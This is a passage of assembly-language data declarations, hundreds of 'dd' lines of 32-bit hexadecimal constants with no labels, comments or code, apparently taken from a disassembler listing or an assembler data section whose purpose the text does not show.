		dd 4059661Eh, 0E9E03600h, 0F0CF1B2Eh, 0C2B41FEEh, 2B4D00A8h
		dd 24C5AE3Bh, 3289070Fh, 0DC7EE156h, 0BBC8ABB8h, 0F938C055h
		dd 0E792F49h, 977D8A00h, 63A12BE6h, 7FE200D0h, 8DF299B0h
		dd 3700BD7Ah, 4231A9C7h, 230C519h, 0E670A35Fh, 0D140C825h
		dd 0B201B802h, 7360F1F0h, 3EF0F3E3h, 0D5BF00DEh, 80F7396Eh
		dd 0AA011B31h, 1C37EA53h, 0E9DCC7BBh, 5A6300FBh, 985FC8D6h
		dd 6800EEE3h, 0A8B98FDDh, 0AA4314h, 0C1445E9Fh,	4D5DDC7Ch
		dd 548BC700h, 0E6841E2Bh, 0B852E6A1h, 76E10084h, 4C75EC47h
		dd 9C00D897h, 0CD0A25F2h, 5D799h, 0CBC97965h, 228DAAA0h
		dd 0CC0067E8h, 98CD0EFAh, 61CAC2h, 0E0F5B859h, 0ED265640h
		dd 0ECB42E00h, 32F9E947h, 396326E1h, 6BB00067h,	51A9CCC9h
		dd 4B34A102h, 817BBC68h, 0DF441B84h, 5C8B4C00h,	0D7C67000h
		dd 0D4F3A99Ah, 0FC7EFBh, 6B23C446h, 25A3D595h, 0A033AC02h
		dd 8EEA5029h, 6CC0BFD4h, 440EBDF8h, 7AA60348h, 117937B8h
		dd 2087F490h, 59B4781Dh, 67448079h, 939C3DE8h, 0BD1100BBh
		dd 38F20A0Dh, 1B00A583h, 0DDDCB748h, 0A0E63Eh, 4E288F12h
		dd 860B5BF4h, 240248h, 0D523D61Dh, 2AD7EEh, 5CB3F0FCh
		dd 0A2BBA35Bh, 0CB6D5A00h, 0BC74C386h, 29BA0081h, 8A0F1FE2h
		dd 0DF0094C9h, 70FD30D8h, 0AFEB60h, 0C8F46799h,	0D7ACA134h
		dd 2BCD3300h, 6A0BD126h, 95830006h, 384692Ah, 4F09875Eh
		dd 14E0CC1h, 5B883ABBh,	4617D8h, 3C29AF20h, 25A6A0BAh
		dd 8A00C67Ah, 0D571EFF1h, 3805CA74h, 76008B93h,	24B4E108h
		dd 614C8369h, 715F0336h, 88EB8449h, 0DBF964h, 213A978Fh
		dd 9010C17Fh, 0F66FE000h, 196BDF09h, 9A240106h,	99C99C73h
		dd 851880F9h, 0A259B3E1h, 29D771Ah, 132F63EBh, 0DC60C171h
		dd 2200FE14h, 792E6A3Fh, 8D75F3h, 610BE7BAh, 6E7DDD62h
		dd 0C45D1C00h, 4F0EF87Ch, 0C9350002h, 4758632h,	3D389701h
		dd 71BC80Ah, 0B5CD4793h, 2ECA9B50h, 0F9B70017h,	36F8E679h
		dd 0FE00E7B9h, 0A9C942A7h, 0A3D158h, 9AFB4FC2h,	0C088D51Fh
		dd 5F0A3Eh, 61F7B60Dh, 3D3CA302h, 0A7018445h, 12E54BFBh
		dd 8A272062h, 77009972h, 0BF630B32h, 0A22F74h, 5BDFA697h
		dd 0F5478E5Ch, 43D9FD00h, 8FA15ABAh, 0BFB507EFh, 0C06FB7D4h
		dd 0E64416B9h, 186EDF03h, 0D061F59Dh, 51FBF3h, 1BD4D9B0h
		dd 4CE9A8DDh, 0E691F100h, 3680F222h, 0F98B39A4h, 0DD93B900h
		dd 0FCD73252h, 72C9E500h, 0F84D74CBh, 0DA4705EBh, 317AF9Eh
		dd 582BDBEDh, 0F0F57800h, 0B9A02D2Ch, 9DA12AEEh, 8A6000A0h
		dd 0F42A9FCBh, 0B200DAC6h, 0B41F82Bh, 374AB6Fh,	0B7EBAF23h
		dd 0D097E440h, 0F942A82h, 0DFBA48h, 0AB5044Ch, 73EA428Bh
		dd 51591D5Ah, 9D91C07Bh, 9E6D4E7Ah, 5D371F77h, 83C07001h
		dd 0EF9F017h, 4F66F219h, 483C00BDh, 0D3AC7CAFh,	0BC0A0700h
		dd 0BBB5776Eh, 0BF28019Fh, 0C2DC0E92h, 0D7D6E4E2h, 49DB6200h
		dd 0E480B263h, 0AD9A0055h, 0D00EB53Fh, 0D200991Fh, 0C1576A56h
		dd 773065h, 1834CB4Bh, 55A19FBCh, 356D8406h, 0F860E454h
		dd 0A9E01FB4h, 0DBC70065h, 0E9486B73h, 359B410Ch, 293920h
		dd 0EFFE51D9h, 0D26F0E6Ch, 90E31C30h, 506DC8C2h, 3A33585Fh
		dd 50EFEA22h, 0FF0827ECh, 0E275B301h, 0C379B8C6h, 13F9FCh
		dd 5ABCF1A2h, 0C759D665h, 7B04B600h, 0E1C1895h,	94E21D55h
		dd 5CAFC075h, 3C444890h, 0E9E57D03h, 0A5ADB0h, 0E84285FCh
		dd 338C6C2Ch, 392BFE00h, 4FC351D0h, 5E922445h, 0E5231F61h
		dd 0F0475A41h, 0CCE278E1h, 5AB15F00h, 0E8A184Bh, 840803A5h
		dd 0BF7E809Dh, 0B6B7A3B8h, 0E3542800h, 61484225h, 0A6F0000Dh
		dd 2A4DF807h, 2F768C5Fh, 0E018E617h, 7BA7D200h,	1010967h
		dd 167EB293h, 0E05A6E19h, 7200A674h, 704C469Fh,	70A7F60Ah
		dd 4A840097h, 62FF55D6h, 0B3006677h, 4B9644C7h,	1D8070E3h
		dd 7D54ECAFh, 0FF09A792h, 0F2769500h, 0BF72B6h,	0B1234EC9h
		dd 0B4BC735Bh, 0CF1C2E00h, 8AF4B36Bh, 9B9900D5h, 0A6248C41h
		dd 3B00FA58h, 38890F67h, 842AFDh, 0C7866282h, 93B3B19Bh
		dd 3127C41Fh, 0C95FF600h, 2BE9DFh, 0FCBE72BFh, 293A74A2h
		dd 0E6FF238h, 407ACA26h, 58B189C8h, 7397006Ah, 88B07D09h
		dd 0D3002642h, 0E1E79DBh, 1E9DE0Fh, 0F1A1B9D0h,	60CAD4B5h
		dd 0D1075C4Ah, 3DA206B2h, 0E0FE33E7h, 3BDB6820h, 4FFE28h
		dd 0C74C9FF0h, 0F8A0237Ah, 37669900h, 0FC4ABEC1h, 0E2DC00C5h
		dd 0C65B7E97h, 3B00D36Ah, 0E41DF8D2h, 2987BEFh,	63A7B90Ah
		dd 156050CBh, 2800C24Ch, 0ED32F5D7h, 0E3706Eh, 0A3258BD6h
		dd 1566B3AEh, 0B246EB01h, 145169B9h, 60DFC1F0h,	0FD5A6952h
		dd 0C518D6B8h, 3F50C857h, 76A0037Dh, 0A65DA568h, 5E9C6E1Eh
		dd 438A8400h, 30B5E16Fh, 4060A0F7h, 1F80ECACh, 17220768h
		dd 78F6BE9Eh, 0AD890180h, 2AA365h, 0D20E5FCFh, 0C90F22E7h
		dd 580AF00h, 99D838Ah, 48FC006Dh, 6C33E23Bh, 9800B7DBh
		dd 2FBE54C0h, 0BA0E82h
		dd 6A9675D2h, 0E45AA81Bh, 2A177CE2h, 100CCB2Ch,	90014119h
		dd 24153ABEh, 22871D3Eh, 0B0ABEB7Bh, 0EE7167C9h, 0D50FF500h
		dd 0A04FB3B5h, 0F621EA79h, 0E1B0C0B1h, 0EF1A0D69h, 0A4730600h
		dd 0AC9A2DBFh, 75C908Ah, 0BA82BDC5h, 3DE7F0A1h,	7AEE24D3h
		dd 78EC138h, 2B9DF448h,	5BE24F70h, 776800CAh, 0D10FF394h
		dd 4A3FD0D5h, 8A368446h, 0BA8791FEh, 0DEA7FA0h,	72F30055h
		dd 0C0A7284Fh, 74581FA1h, 8EFD009Fh, 0AFB24150h, 9488A0A4h
		dd 0A09000ABh, 45C39F4Bh, 82008848h, 77133EBEh,	90B350B4h
		dd 0A7560072h, 67117598h, 0AFEED2DEh, 0C0383E00h, 0B50E95E2h
		dd 0D6301C28h, 37B20EF5h, 2FA9h, 79E861EEh, 6AE82D54h
		dd 43650909h, 0AB1020CFh, 79D51DEh, 4DB9B353h, 0F2F8713Eh
		dd 0F1482452h, 0B748817Eh, 0C0698F28h, 892DCA75h, 0F09E3D0Dh
		dd 0A884EA94h, 2B94600h, 803886DAh, 0F3C0A900h,	85FAF253h
		dd 102C3A01h, 88EF8C00h, 0CB65582Ah, 54954700h,	7CE95F1Dh
		dd 3AF1029Bh, 0BA8B4AF9h, 52E5E080h, 5560C970h,	9D4BC7A0h
		dd 0DAF700D1h, 725DF841h, 4539BF4Dh, 0E105006Eh, 0B4EF7A87h
		dd 0D56A3C5Ch, 40344B83h, 2AD0C873h, 9C07B3BCh,	0F6FD1CE8h
		dd 83FED790h, 0F1905Bh,	25123059h, 0DE5CF145h, 0E53B9C00h
		dd 82746EC4h, 0EF610067h, 18420B7Dh, 0F400091Fh, 0F3AD23B5h
		dd 85351Ah, 1BFAC907h, 18808457h, 0FF0039F2h, 3DD8906h
		dd 54DC2Ch, 0EF7930DEh,	327527EAh, 0EED3E900h, 0F06EBBA0h
		dd 5B7B000Dh, 435239D8h, 2701ECD2h, 64B3CB35h, 99F415E4h
		dd 0EA5D24ACh, 28130FD0h, 14DE5700h, 7A008CC1h,	0A8487352h
		dd 3EA706Fh, 4A5DE955h,	72C0782Dh, 0AC0759C9h, 9EB71A68h
		dd 7D399720h, 0A9A70E01h, 0D6C0426Dh, 6533A65Bh, 1F01AFFCh
		dd 0B15EE3AEh, 6B8085h,	428922A0h, 470706E7h, 0CBE043B6h
		dd 0AD774F00h, 2FD830AFh, 188A6220h, 6C00D890h,	0BEB3FA33h
		dd 885139h, 0D2D776EAh,	1A1EFEB2h, 670A3209h, 0FB88202Eh
		dd 24BA05E2h, 874836D7h, 0D285734Fh, 0E6014EDh,	0C749F8F2h
		dd 715E0244h, 4862E179h, 7873F54h, 83F7D538h, 5BE8E092h
		dd 0FF009380h, 0A71D6A7Dh, 30049EBCh, 4330BA12h, 0AE19331Ch
		dd 0E110C2BFh, 0F43FC22Bh, 0DDF10C40h, 98331630h, 1109E20Dh
		dd 12CBB6h, 8BF8296Eh, 305EF9Ch, 0BFC06E6h, 0E8D0A5A8h
		dd 6C00823Ah, 0FC1604Ah, 84B9ABh, 6222E6ADh, 90A9A168h
		dd 42280200h, 24728335h, 366B00B3h, 0C27F92Ch, 1301E229h
		dd 1150DF7Dh, 0F2C426D7h, 2C90E1h, 0B9810FB1h, 0D9ED58BFh
		dd 7039301h, 0F752FD1Eh, 7D7C8F0h, 0CC32ADE3h, 0EFA700BAh
		dd 4B079728h, 486389Bh,	5A1B4CF0h, 427E00CEh, 0B13E9ABDh
		dd 0FA006098h, 42765F7h, 7688E270h, 443C002Eh, 318B20D9h
		dd 6D01FD33h, 768AD8C0h, 80F423DEh, 147C11h, 615C2B4h
		dd 9CA9A62Fh, 0DAE84400h, 0BC8909EDh, 0E8CE59FBh, 3A8F8B0Fh
		dd 0B9C05B40h, 0EBE2C390h, 5F306D01h, 0AA955CA2h, 37B53420h
		dd 501CFD16h, 3135C00Dh, 3D90BA3Fh, 0A88089C5h,	57750018h
		dd 0E0452069h, 5CC40F0Ah, 5BE0B8A7h, 0BA36414Bh, 14A4EA16h
		dd 0E799F700h, 1E59EC3h, 0F92FB56Ah, 0D855A9DEh, 0BA1ECE30h
		dd 4B8E0444h, 0DB36C156h, 6D202976h, 0FD480013h, 536FADA0h
		dd 4B000F2Ch, 59968827h, 0B6279h, 0E8E6D75Ch, 6F87FB0h
		dd 0AFF07700h, 53C20960h, 0A48B0E74h, 9922B4ECh, 0B0C8B22Ch
		dd 0FC026C07h, 66A8FEBEh, 0ABA440CFh, 0AC685053h, 0E3E10018h
		dd 8EE4D71Ch, 0B05CA970h, 615F0034h, 2F1F040Ch,	0E94112CAh
		dd 87FE01E6h, 0F7390211h, 6000F7C3h, 7F5779AFh,	37DA726h
		dd 0B9985006h, 800F4167h, 0F9758FBh, 48115853h,	0CF710F98h
		dd 792F42A6h, 94C0B00h,	4385410h, 0DE78752h, 0AEB4B783h
		dd 556AC980h, 41AF6C7Fh, 8618B660h, 3F81F853h, 6DD214B9h
		dd 0B43D38EBh, 55F1A71Dh, 6BC55826h, 9280EDFh, 0C7659707h
		dd 4584103h, 0E31441F0h, 0ECD520E4h, 7F0FF2E8h,	0E06A33CDh
		dd 0A1207D44h, 0B2DF03F9h, 0F4ED688Fh, 401D1CD8h, 0E5081400h
		dd 0B0094E7Fh, 0F7150025h, 0A64AB20Ch, 4201F048h, 48D7C98h
		dd 12D0685Dh, 21E4007Fh, 4D416E37h, 880F5075h, 0FD7D38F5h
		dd 0E2957140h, 3B060Eh,	334EF248h, 0AB49BCA3h, 2100927Bh
		dd 0B3519CC1h, 3F8EF3B7h, 0CD002D14h, 0FEA48F79h, 7F0F8012h
		dd 47EF7B5Ch, 0F3A00A9Fh, 697578h, 7A3AC1B3h, 62448967h
		dd 9DB4072Eh, 4D21A001h, 77D863CBh, 0F3B90247h,	8357E3A5h
		dd 0DD669C80h, 0E06D328h, 0E4789E7Fh, 0CFB50019h, 80278D70h
		dd 3309ED32h, 0A0993061h, 439FAEBCh, 1F96004Fh,	0CE62073Fh
		dd 0EC711ED4h, 18AD5432h, 0BEC040F7h, 0EDA10F23h, 6603FCE3h
		dd 0F1C02820h, 6E3D0343h, 0BDFF12E2h, 7643705Fh, 0E853DC19h
		dd 0F2AB344h, 4924C41Eh, 30C9B601h, 0C80BE7Ah, 18255C26h
		dd 0F499189Ch, 0F2E99983h, 44810626h, 9CEF6830h, 92500001h
		dd 0F0DFB11Fh, 456104ECh, 0EBA92DA0h, 6528091h,	2770EEE1h
		dd 0EA4D0758h, 0C3712D40h, 0ADB31EAEh, 0FFAA1801h, 809673DDh
		dd 0F0ABBBF0h, 94A2502Dh, 0B6DB012Ah, 927C8448h, 54C244Ch
		dd 8E728114h, 0A1823C48h, 8040498h, 0E7030152h,	0C4242677h
		dd 0E87B62DCh, 21361BB0h, 52C08E72h, 2431F8F0h,	2707242h
		dd 46479C03h, 0CD29CCA1h, 0E3188C7Ch, 48EC5031h, 0D3000D72h
		dd 51EDF035h, 0DE00E891h, 8EAC62BAh, 670FB4EAh,	91DC4053h
		dd 80AE3949h, 381A52E1h, 0C18FC5Ah, 70031D97h, 21C0BA08h
		dd 0B038626Dh, 6991006Ch, 4731D965h, 0E60089B5h, 4E0174EEh
		dd 7D30D6Eh, 5BCECACh, 0EDE17F3h, 33AC9AAAh, 0EBE8B249h
		dd 88996A4Dh, 0F0414F00h, 0C3F2436h, 0B72C837Dh, 78965608h
		dd 0D3007212h, 8437C818h, 58FA1FE0h, 76800574h,	4E9C0083h
		dd 0CC4591B6h, 0F430410Ch, 10017095h, 62B44A21h, 3A5EC18h
		dd 8FE02B2Ah, 0CE004D3Bh, 0AAF8F181h, 84242Ch, 0B2A4BBFh
		dd 8CACB1FCh, 769E9100h, 5955D9D3h, 0A16400B9h,	0E108F02h
		dd 0FB00C7C6h, 0E1F947DDh, 3167687h, 0B968AD0Dh, 2911B3C4h
		dd 0AE08C132h, 3A08E485h, 0BCC88423h, 28060A03h, 2993290Ch
		dd 1922842Eh, 51AA60BBh, 88BC8EC6h, 3FC0814Ch, 7A649F60h
		dd 3C153380h, 3CE020Bh,	4317CD23h, 59031DCh, 37022591h
		dd 0AF766E1Fh, 770E7FFAh, 20162027h, 0BF1DBB62h, 0C134CF07h
		dd 1240AA98h, 0A20ADCh,	1002EBB5h, 0E2C286A5h, 111D1F00h
		dd 0CAEE246Fh, 0FFE700E9h, 48D9F78Ah, 0B4003312h, 0F8031CA6h
		dd 1EE5F9D3h, 80B7CCE1h, 638CA596h, 2600EEE4h, 0D86517FEh
		dd 33066DAh, 0D5CDA667h, 0E6F0886Ah, 220060F9h,	3E62395Fh
		dd 3163EBh, 9A0723ACh, 0E5B8014Fh, 7D334601h, 0C28B4A8Eh
		dd 0EB5CA06Ah, 0F473AA00h, 55FB91D5h, 0CF760FB2h, 0B534B8Ah
		dd 9B00E60Eh, 0A5BEED71h, 770F1D00h, 490B17EAh,	6175015Ah
		dd 28CC7EA4h, 18CA800Ah, 2D5EC445h, 26789755h, 8AD33801h
		dd 5B99D8E1h, 0E8000CFh, 7D30FF6Ah, 7308C9C1h, 8A4C8Fh
		dd 84EE403h, 7F00A583h,	43AE8B72h, 39806EFCh, 4500462Eh
		dd 0EEDB865Dh, 9703F0C6h, 3DA39439h, 0BB001DEh,	0D42E8C1Bh
		dd 0CD74FC79h, 0ABF9FE00h, 0A57AB145h, 261F1CDBh, 6FD18068h
		dd 0BD20774Dh, 2DBB1300h, 0ECFBA5EAh, 0B410002Ah, 0AFF1C738h
		dd 91735831h, 47A62D00h
		dd 0D2C8A9AEh, 0BA990028h, 0B9CFEC96h, 0F07FE70Fh, 0A47058C0h
		dd 7A2B124Fh, 0D51F00A6h, 0A88B37B1h, 0FC01EFE9h, 80C71667h
		dd 3EC7761h, 9C50085h, 0DFA2EDD0h, 601C5A08h, 0FC9F1DEBh
		dd 842F7B80h, 39915953h, 9A80A199h, 95AF0503h, 5000E0D8h
		dd 68E74131h, 1DFD8B18h, 1797602h, 213DE5EFh, 17BC3086h
		dd 387CAA3Bh, 4C5D0092h, 832531B4h, 58641EF6h, 5A2C803Eh
		dd 0FB38828Ah, 0A2A78500h, 572E2D9Eh, 465030CAh, 0FF017042h
		dd 3B0023FEh, 6DABC4A3h, 33AC7D5h, 2192FCC0h, 7B90BD6Ch
		dd 5900AA2Dh, 0EA5A2707h, 662452h, 0BFD55350h, 8D103EC7h
		dd 8ECA640Fh, 0C5AE2Ch,	0A755ADB5h, 0A4FD00CBh,	1C381131h
		dd 6B0328F5h, 88307C65h, 0D3A0B985h, 913060FAh,	0C922Fh
		dd 0EEF383EAh, 57E13E9Eh, 72C91300h, 90799FD3h,	911F0064h
		dd 41C79826h, 0F0E33A2Ch, 0B600FAB2h, 0A3F2D1D6h, 7BC656h
		dd 6D5C7D40h, 361A1C34h, 8500A2F8h, 2A41B0Fh, 23C0388h
		dd 0D2ECF495h, 0CC4073C7h, 8E7A1CC1h, 4A6BDB00h, 16D9783Bh
		dd 40BA001Ah, 3324EC4h,	0A804AE8Ch, 3EC35CF1h, 9EDD080h
		dd 91B13E34h, 4A06458Fh, 0E6C8C0BCh, 61DD63A5h,	0F69D6900h
		dd 0ED7080BCh, 4950094h, 6CFB6EC1h, 347399ABh, 0D73FA200h
		dd 0D0EE5677h, 85EC87h,	3B2E5718h, 34C5E623h, 3B4D204Ch
		dd 3CAE000Fh, 0A162DF48h, 0CA30FB13h, 348648D8h, 0D2ABF0Eh
		dd 4D024248h, 78DED53Dh, 0A4F04Dh, 0F584FFCBh, 2D6C54F4h
		dd 3A69221Dh, 92A7D00h,	0C3D516h, 8934E5F3h, 0A4261C37h
		dd 88808200h, 0EA35B95Dh, 349065h, 377E1871h, 36CDAAC3h
		dd 8A40C70Ah, 6800E459h, 0DB6956A6h, 7D1C00D2h,	0B9871F88h
		dd 9966ABh, 0EC532C80h,	90F36452h, 7C5600F8h, 5875886Fh
		dd 0EF00DAD3h, 84093FCBh, 386990h, 77AD7E52h, 0C8A15512h
		dd 0B748FFF2h, 0CF100D4h, 0CD15CFB8h, 0A061001Eh, 0E771FDD9h
		dd 7509120Fh, 341DC5h, 0A3180C8Ch, 0EE31311h, 0F594005Eh
		dd 50FE10ADh, 41039079h, 898F5F6Bh, 83B81C22h, 690658C0h
		dd 0F0003429h, 61F510EBh, 5B861Fh, 63AF30B2h, 8FA2D85Ah
		dd 553D8A0Fh, 812C800Bh, 244BDA6Ah, 3978CAAAh, 0CC40694Ch
		dd 0F5FE309Ah, 0B71E84F9h, 228B3809h, 3C4882B6h, 0AEC080DBh
		dd 9819F412h, 24B37622h, 80F9A1h, 6C5687D9h, 504CB952h
		dd 80C63B5Ch, 0F9FD0D1Dh, 7573F6h, 0C785713Ch, 283715FFh
		dd 0A39D3606h, 7E9218Fh, 9B0F5C7Ah, 0AF75E0ECh,	5600EDF2h
		dd 9220FD61h, 18F12AE5h, 0B0B1A767h, 1C9879C1h,	0AC88AF00h
		dd 58D8F610h, 0B13F00C5h, 74E67703h, 6C00261Eh,	0D2BF49E2h
		dd 6DE256Eh, 598542A4h,	9703B803h, 0BE6C72B0h, 861CD85Eh
		dd 6D0100CDh, 68E0E57Ah, 1B07D449h, 7DD22A0Fh, 744434F0h
		dd 90920023h, 0E0B6A350h, 0F0ABC6Dh, 0E063D7B7h, 28416900h
		dd 0FBDDCB2h, 6D02CBDDh, 9C9F3EA0h, 66047FA1h, 0F8942BFAh
		dd 81BE3C90h, 0FDE024h,	0AD8CCA10h, 8DA35A19h, 0BBED6F0Eh
		dd 6E67003Bh, 1FE14Ah, 0C5C3719Bh, 14E8F5FAh, 31286300h
		dd 35DA1BA0h, 0CCEC001Ch, 0DC32D096h, 0A703E39Fh, 0A55F63E7h
		dd 683989E9h, 0F6A4D8h,	0DE73E81Ah, 75E4C3BBh, 0C06B3A13h
		dd 27833800h, 548B2h, 0F253D7EFh, 0F125ECE2h, 388AFC00h
		dd 2F5C6CB3h, 289BF011h, 0C85424h, 0BAF141B9h, 0B58E9CA0h
		dd 0B005F870h, 4808E151h, 5D1D9CC0h, 0A02B0016h, 0C1D204CEh
		dd 397238E7h, 269B8500h, 6C7D60BAh, 45110441h, 806BBE31h
		dd 7A0DFDECh, 1493700h,	83BF343Ah, 5490D7h, 0F70E45AFh
		dd 53BD736Bh, 38B93600h, 28A18DDBh, 8213002Fh, 8B2EB091h
		dd 0C19017FFh, 2D132898h, 403759Bh, 0C0DA7C01h,	1E030813h
		dd 42C2DDC9h, 0AB51789Dh, 24DBF480h, 0D7384B35h, 4A9082BCh
		dd 60D31CDFh, 58429FA0h, 58803CDAh, 0B12EC266h,	6500E898h
		dd 0EFBCE4AAh, 8576DFh,	665B58C8h, 175F5418h, 0F8BECF24h
		dd 9EACD188h, 0CB1449A6h, 3B88000h, 0E8F3E1D0h,	0CD00BA7Fh
		dd 0E9FCD6F5h, 2EDA5C63h, 0F9E6749h, 23425F41h,	0C48058CDh
		dd 133426FDh, 96F3DC0Fh, 23866FE6h, 0B0BA7312h,	9876F908h
		dd 0E8FF0014h, 7C8A53A3h, 110EB62Eh, 3C9F690h, 0B53BFB77h
		dd 3EE28481h, 0D25130h,	0B5307091h, 583D4E63h, 9B8C6500h
		dd 0A4F0153Ah, 0FD763D49h, 6EB87F00h, 26FF3005h, 0F41E19FEh
		dd 405FF2ADh, 181C8440h, 0C86D6AEh, 0FAF7CB06h,	7A1F1E99h
		dd 401E4F2Ch, 75C0E640h, 1C1DC8h, 0EB5A59EAh, 88711E5Fh
		dd 57ABC200h, 501B8582h, 98085034h, 0E85D00D7h,	0F23DF79h
		dd 2900C5BBh, 4F84A5BFh, 3C7F704Dh, 0E0838BE3h,	6EF2BCF3h
		dd 0AFE5DCA0h, 0C79BE800h, 27A970D0h, 4342006Bh, 0F3900514h
		dd 0AC1D22E7h, 0F2004A53h, 3B670CB3h, 65D5001Eh, 0CF5D60DDh
		dd 3007B8C8h, 4BEBDCFAh, 0B1DBF000h, 0B4C0024h,	0D5A3C633h
		dd 4CB05387h, 209EAB25h, 2BA9DF98h, 1D6900F9h, 6602A146h
		dd 1A00552Dh, 6D7A0A48h, 98A6538Ah, 0C8F85895h,	47254007h
		dd 33C90093h, 0DF982306h, 480CD007h, 2F2078CEh,	97A714h
		dd 296F5A9Dh, 0E3E68346h, 9207FF04h, 22806E4Ch,	0A04EC9D7h
		dd 68CDE0h, 8BA5D5A0h, 0A149957Ch, 0B65E2500h, 2C2DEBE6h
		dd 0AD26017Dh, 1119362Eh, 0F0BD609Dh, 4E0001F0h, 77B269FFh
		dd 73745Ah, 0DCC354BCh,	24FD09C7h, 0A5C0361Ch, 9CF48Fh
		dd 6E5A8270h, 71D60057h, 0E4606C5Dh, 0A201AA63h, 0FB8FC998h
		dd 8208B55h, 0ECBD3AD8h, 0DCE7821Fh, 2F884717h,	7C1AC02Bh
		dd 0EA1C4B40h, 797AAD7h, 0E2FE7800h, 0A7D203h, 194E4CA8h
		dd 757CA343h, 0D73270Eh, 0A022076h, 9340CFh, 6152F603h
		dd 0E07264F5h, 0DEECE707h, 6637FBB0h, 0A7BC01D3h, 0C5206A90h
		dd 0B2E5002Bh, 0D4A5E23Fh, 6700D0AEh, 6DC2068Dh, 0B87DBF98h
		dd 39790061h, 7ED4EAD5h, 1500288Bh, 308D9FCEh, 6C9A741h
		dd 371C5866h, 1F001033h, 0C62024FCh, 0FBBDEEh, 0F4C8C43h
		dd 361A014Dh, 6013D300h, 5276D86Eh, 7249F263h, 93CD0314h
		dd 2BE2FF17h, 0CCC7ACF8h, 0F4DE62Ch, 60E8890Fh,	9C52787Bh
		dd 30EE002Ah, 7D774BAAh, 4A3F4644h, 155300ACh, 0C88CE122h
		dd 49423997h, 0A2EE1380h, 0EAA00179h, 7DF1C600h, 9616E6CFh
		dd 0DAFB0085h, 0CBF47E9h, 7A004849h, 6687998Fh,	0E522F2h
		dd 0C6466317h, 7BB48886h, 0D44548h, 9F2A3541h, 3304EFCh
		dd 1A2479C5h, 0BB99C205h, 8DD7F4D4h, 26C4CD13h,	0D189700h
		dd 0CE5F60h, 2A34E7F0h,	33560EF5h, 79194800h, 588BDE14h
		dd 0E316005Fh, 2310F343h, 2F003F69h, 8C5340C8h,	484EEBA5h
		dd 0D000E9F4h, 0D1306072h, 5900A4B0h, 0EE88D908h, 38B5124h
		dd 0B944BF94h, 980478Ch, 1D58166Bh, 660070BCh, 32B3A471h
		dd 0D61CEFh, 0E10F889Bh, 14FAE6D7h, 927D561Fh, 509FEDC0h
		dd 544207h, 595A213Bh, 8DEB8F25h, 3F1C8A12h, 0ECAAD80h
		dd 0EEF1077Bh, 305DA71Bh, 1A797A4Ch, 6B1ED007h,	5F50FB98h
		dd 4C3B486Fh, 8F00CC24h, 0ECA2C2D8h, 19269694h,	113072BFh
		dd 0D9B93Eh, 21EBB0DDh,	8AE4F17Ch, 95C00800h, 0F2ECE074h
		dd 0B01A0084h, 0B3A87871h, 61002DB1h, 4720F76h,	0A0AF5DCCh
		dd 684E89h, 42CFD21Fh, 0ACCDABD7h, 6F2C9B00h, 8373A92Eh
		dd 808F03D8h, 25CA6EB2h, 0A8DC72B8h, 0A24D2300h, 459E6507h
		dd 0E0D000B8h, 5D3244EAh
		dd 2E00F4E4h, 0A87521DFh, 50A7359Fh, 0D58426h, 1747310Dh
		dd 6016B2E6h, 0FE27339h, 83885DC1h, 99C57FD8h, 2B60430Ch
		dd 0C36300C4h, 50A8E48Dh, 20CF101h, 19F5D3BDh, 5E2F1E87h
		dd 0E79E392Dh, 31E6C032h, 0C7173786h, 0A0EFE6CFh, 2F36B6BEh
		dd 78F230B2h, 967B2088h, 0FD2D7000h, 0B9154A1Ch, 0C83701FBh
		dd 5097538Fh, 14B530E2h, 0AE01D5F4h, 73243CB4h,	0CE40FF07h
		dd 0DB4E2Ch, 0C56F9357h, 0BA2FCA35h, 9B011090h,	0B4C712FDh
		dd 60CEDB2Ah, 7535469h,	566AB1A9h, 9878E1B7h, 0F479E9B3h
		dd 0A11FBAB9h, 9140FFEEh, 2E255A2Bh, 0B2052E90h, 0BAE60070h
		dd 0D23FB3F8h, 2CE4DE00h, 0C6A6CE4Ch, 46EF00F0h, 0A3C37EF7h
		dd 570797D1h, 903785C0h, 1D6A3900h, 53B700FDh, 0A3EE689Ah
		dd 0C5001456h, 0F7F20DEh, 7DA65Fh, 51C282Ch, 4FBE22Dh
		dd 0B6173478h, 20031EFEh, 48F09DD1h, 5500BBD8h,	332DB904h
		dd 5907C43Fh, 0A130B2ECh, 8E389AF1h, 3A48F8h, 0D4167B61h
		dd 2D122285h, 0C6198000h, 9004EB97h, 82520045h,	0E45C7267h
		dd 1E002391h, 0E197AC88h, 0CC9C96h, 0D2B35420h,	0FC3AF3EFh
		dd 0A85E5303h, 0F8C3A692h, 6F1480h, 85C7C23Eh, 94252707h
		dd 0F1B90100h, 0FC57D60Bh, 0E48924B6h, 0D3C6035Dh, 0F0AF9B86h
		dd 569EBC5Ah, 11CE2303h, 10821C9h, 0DA06CC30h, 0E4C3698Ch
		dd 727C2B6Eh, 405CBCA0h, 343EA7F0h, 0C4528039h,	9ECDB729h
		dd 19351E73h, 1DDE6h, 0AC853FD5h, 55099CD3h, 8E5DCFC9h
		dd 6BFE0104h, 40E6C0EBh, 0BCEAD4h, 0D6359941h, 86155A89h
		dd 0FB3C6D07h, 0C4A01490h, 495169h, 7388E74h, 86E61534h
		dd 76DF1100h, 10317BC9h, 1C80004Ah, 7E694FC5h, 4097CE2h
		dd 0A0E47955h, 7541F50h, 0FCC10348h, 6AD119ACh,	8F6089BAh
		dd 0F603AD41h, 6362E69Eh, 6405A06Bh, 7F5C1DD9h,	5DC20E59h
		dd 1D1CFBE3h, 0FD2014A8h, 4150E500h, 0FE49BC90h, 92C400DCh
		dd 37B21662h, 55005F3Fh, 0C17E729Ah, 3DB3977h, 5DC3EAEFh
		dd 50BFFA6Dh, 6F15B022h, 38FB8700h, 72E2ED71h, 18373065h
		dd 1A0DEB70h, 1C69E300h, 7A8D9964h, 0FAC7002Fh,	868CAF50h
		dd 39015628h, 17CEBB6Ch, 0DAF8D0D4h, 2DD20046h,	902B2AADh
		dd 0AF003523h, 0D464B272h, 0CCB133h, 46A4185Fh,	4A24A0F0h
		dd 0E09EF100h, 0EE29B666h, 0D6580021h, 0B9801890h, 0CDFE0664h
		dd 44891D02h, 402FF051h, 26F91645h, 1F6C41EBh, 0CDB6700Bh
		dd 6E741AD5h, 95001492h, 846F08BCh, 384FD221h, 7C487E2Dh
		dd 0E896C700h, 0F650AD01h, 0E1A0500h, 0EA3D452Ch, 0BBF40075h
		dd 63DEAE58h, 0B1E2B06Fh, 0D900A07Ah, 90F8190Bh, 778EC9F1h
		dd 0A8560154h, 1129FB30h, 0A6E830ADh, 0EA788305h, 0BB82F735h
		dd 0D78DC0E3h, 7B9A00D9h, 23A6FC8Bh, 90723171h,	0C26BE800h
